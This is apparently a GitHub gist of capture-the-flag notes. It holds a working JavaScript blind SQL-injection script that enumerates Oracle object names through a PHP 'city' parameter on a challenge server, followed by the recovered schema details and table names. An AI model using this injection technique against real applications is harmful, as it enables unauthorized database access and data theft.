Last active
January 4, 2016 15:59
-
-
Save tyage/8644847 to your computer and use it in GitHub Desktop.
phd4 quals oracle memo
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var find = function(str) { | |
send(str + '%', function(xhr) { | |
console.log(str, (xhr.responseText.split("tr").length - 11)/2); | |
check(str); | |
next(str); | |
}); | |
}; | |
var check = function(str) { | |
send(str, function(xhr) { | |
console.log(str, 'found'); | |
}); | |
}; | |
var send = function(str, callback) { | |
var sql = "Moscow') as branch from USER_OBJECTS where OBJECT_NAME='SHOPS' AND OBJECT_TYPE like '"+str+"' --"; | |
var xhr = new XMLHttpRequest(); | |
xhr.onreadystatechange = function() { | |
if (xhr.readyState == 4) { | |
if (xhr.status == 200 && xhr.responseText.split("tr").length > 11) { | |
callback(xhr); | |
} | |
} | |
} | |
xhr.open('GET', 'http://195.133.87.173/address_shops.php?city='+encodeURIComponent(sql)); | |
xhr.send(); | |
}; | |
var next = function(str) { | |
for (var i="a".charCodeAt(0);i<"z".charCodeAt(0);++i) { | |
find(str + String.fromCharCode(i)); | |
} | |
for (var i="A".charCodeAt(0);i<"Z".charCodeAt(0);++i) { | |
find(str + String.fromCharCode(i)); | |
} | |
var escaped = ['_']; | |
for (var i=0;i<escaped.length;++i) { | |
find(str + '$' + escaped[i]); | |
} | |
var special = ['-', ' ']; | |
for (var i=0;i<special.length;++i) { | |
find(str + special[i]); | |
} | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
USER_OBJECTSではこうなっていた | |
OBJECT_NAME, OBJECT_TYPE = (SHOPS, SYNONYM), (SHOP_PKG, PACKAGE), (SHOP_PKG, PACKAGE BODY) | |
id | |
- 1-5 | |
zip_code | |
- 107061-107065 | |
subway | |
- Vystavochnaya | |
- Semenovskaya | |
- Preobra% | |
- Pole% | |
- Okhotny ryad | |
city | |
- Moscow |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DUAL | |
HELP | |
SHOPS | |
PSTUBTBL | |
SDO_CS_SRS | |
SDO_DATUMS | |
IMPDP_STATS | |
AUDIT_ACTIONS | |
OLAPTABLEVELS | |
SDO_COORD_OPS | |
SDO_COORD_SYS | |
SDO_COORD_AXES | |
SDO_ELLIPSOIDS | |
SDO_TIN_PC_SEQ | |
SDO_XML_SCHEMAS | |
SDO_ST_TOLERANCE | |
OLAP_SESSION_DIMS | |
SDO_COORD_REF_SYS | |
SDO_WS_CONFERENCE | |
WWV_FLOW_LOV_TEMP | |
OLAPTABLEVELTUPLES | |
OLAP_SESSION_CUBES | |
SDO_COORD_OP_PATHS | |
SDO_WFS_LOCAL_TXNS | |
SRSNAMESPACE_TABLE | |
SAM_SPARSITY_ADVICE | |
SDO_COORD_OP_PARAMS | |
SDO_PRIME_MERIDIANS | |
SDO_TXN_IDX_DELETES | |
SDO_TXN_IDX_INSERTS | |
TABLE_PRIVILEGE_MAP | |
WWV_FLOW_TEMP_TABLE | |
HS_BULKLOAD_VIEW_OBJ | |
SDO_COORD_AXIS_NAMES | |
SDO_COORD_OP_METHODS | |
SDO_UNITS_OF_MEASURE | |
SYSTEM_PRIVILEGE_MAP | |
HS_PARTITION_COL_NAME | |
HS_PARTITION_COL_TYPE | |
OGIS_GEOMETRY_COLUMNS | |
STMT_AUDIT_OPTION_MAP | |
SDO_COORD_OP_PARAM_USE | |
SDO_PREFERRED_OPS_USER | |
SDO_TOPO_RELATION_DATA | |
SDO_TOPO_TRANSACT_DATA | |
SDO_COORD_OP_PARAM_VALS | |
SDO_DATUMS_OLD_SNAPSHOT | |
SDO_TXN_IDX_EXP_UPD_RGN | |
SDO_GEOR_PLUGIN_REGISTRY | |
SDO_GEOR_XMLSCHEMA_TABLE | |
SDO_PREFERRED_OPS_SYSTEM | |
SDO_TIN_PC_SYSDATA_TABLE | |
SDO_WS_CONFERENCE_RESULTS | |
SDO_CS_CONTEXT_INFORMATION | |
SDO_ELLIPSOIDS_OLD_SNAPSHOT | |
SDO_PROJECTIONS_OLD_SNAPSHOT | |
OGIS_SPATIAL_REFERENCE_SYSTEMS | |
SDO_CRS_GEOGRAPHIC_PLUS_HEIGHT | |
SDO_WS_CONFERENCE_PARTICIPANTS |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment